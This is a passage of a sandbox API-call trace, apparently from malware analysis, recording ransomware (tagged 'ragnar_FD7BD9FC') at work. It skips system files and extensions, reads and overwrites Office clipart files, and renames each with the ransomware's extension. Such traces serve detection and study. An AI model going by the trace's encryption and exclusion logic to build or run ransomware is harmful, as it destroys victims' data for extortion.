dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.224] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c18, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.224] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c18, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c18, lpOverlapped=0x0) returned 1 [0084.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.224] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.224] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.224] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.224] GetProcessHeap () returned 0x580000 [0084.224] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.225] CloseHandle (hObject=0xf4) returned 1 [0084.225] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" [0084.225] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.ragnar_FD7BD9FC" [0084.225] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.225] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0084.225] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.225] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107328.WMF" | out: lpString1="J0107328.WMF") returned="J0107328.WMF" [0084.225] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned=".WMF" [0084.225] lstrcmpiW (lpString1="J0107328.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="autorun.inf") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="boot.ini") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="bootfont.bin") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="bootsect.bak") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="bootmgr") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="bootmgr.efi") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="bootmgfw.efi") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="desktop.ini") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="iconcache.db") returned 1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="ntldr") returned -1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="ntuser.dat") returned -1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="ntuser.dat.log") returned -1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="ntuser.ini") returned -1 [0084.226] lstrcmpiW (lpString1="J0107328.WMF", lpString2="thumbs.db") returned -1 [0084.226] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.226] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.226] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.226] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.226] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.226] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.226] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20 [0084.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.227] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6532) returned 1 [0084.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x197b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.227] GetProcessHeap () returned 0x580000 [0084.227] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.227] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.229] VirtualAlloc (lpAddress=0x0, dwSize=0x1984, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.229] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.229] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.229] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1984, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1984, lpOverlapped=0x0) returned 1 [0084.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.230] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1984, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.230] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1984, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1984, lpOverlapped=0x0) returned 1 [0084.230] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1984, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.230] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.230] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.230] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.231] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.231] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.231] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.231] GetProcessHeap () returned 0x580000 [0084.231] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.231] CloseHandle (hObject=0xf4) returned 1 [0084.231] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" [0084.231] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.ragnar_FD7BD9FC" [0084.231] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0084.232] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.232] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107342.WMF" | out: lpString1="J0107342.WMF") returned="J0107342.WMF" [0084.232] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned=".WMF" [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="autorun.inf") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="boot.ini") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="bootfont.bin") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="bootsect.bak") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="bootmgr") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="bootmgr.efi") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="bootmgfw.efi") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="desktop.ini") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="iconcache.db") returned 1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="ntldr") returned -1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="ntuser.dat") returned -1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="ntuser.dat.log") returned -1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="ntuser.ini") returned -1 [0084.232] lstrcmpiW (lpString1="J0107342.WMF", lpString2="thumbs.db") returned -1 [0084.232] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.232] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.232] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.232] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.232] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.232] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.232] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20 [0084.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.233] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4244) returned 1 [0084.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x108b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.233] GetProcessHeap () returned 0x580000 [0084.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.233] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.234] VirtualAlloc (lpAddress=0x0, dwSize=0x1094, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.235] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1094, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1094, lpOverlapped=0x0) returned 1 [0084.236] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.236] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1094, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.236] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1094, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1094, lpOverlapped=0x0) returned 1 [0084.236] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1094, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.236] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.236] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.236] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.236] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.236] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.236] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.236] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.236] GetProcessHeap () returned 0x580000 [0084.236] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.236] CloseHandle (hObject=0xf4) returned 1 [0084.237] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" [0084.237] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.ragnar_FD7BD9FC" [0084.237] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.237] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0084.237] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.237] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107344.WMF" | out: lpString1="J0107344.WMF") returned="J0107344.WMF" [0084.237] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned=".WMF" [0084.237] lstrcmpiW (lpString1="J0107344.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.237] lstrcmpiW (lpString1="J0107344.WMF", lpString2="autorun.inf") returned 1 [0084.237] lstrcmpiW (lpString1="J0107344.WMF", lpString2="boot.ini") returned 1 [0084.237] lstrcmpiW (lpString1="J0107344.WMF", lpString2="bootfont.bin") returned 1 [0084.237] lstrcmpiW (lpString1="J0107344.WMF", lpString2="bootsect.bak") returned 1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="bootmgr") returned 1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="bootmgr.efi") returned 1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="bootmgfw.efi") returned 1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="desktop.ini") returned 1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="iconcache.db") returned 1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="ntldr") returned -1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="ntuser.dat") returned -1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="ntuser.dat.log") returned -1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="ntuser.ini") returned -1 [0084.238] lstrcmpiW (lpString1="J0107344.WMF", lpString2="thumbs.db") returned -1 [0084.238] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.238] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.238] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.238] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.238] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.238] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.238] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0084.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.238] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5076) returned 1 [0084.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.238] GetProcessHeap () returned 0x580000 [0084.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.239] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.240] VirtualAlloc (lpAddress=0x0, dwSize=0x13d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.240] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13d4, lpOverlapped=0x0) returned 1 [0084.241] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.241] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.241] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13d4, lpOverlapped=0x0) returned 1 [0084.242] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.242] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.242] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.242] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 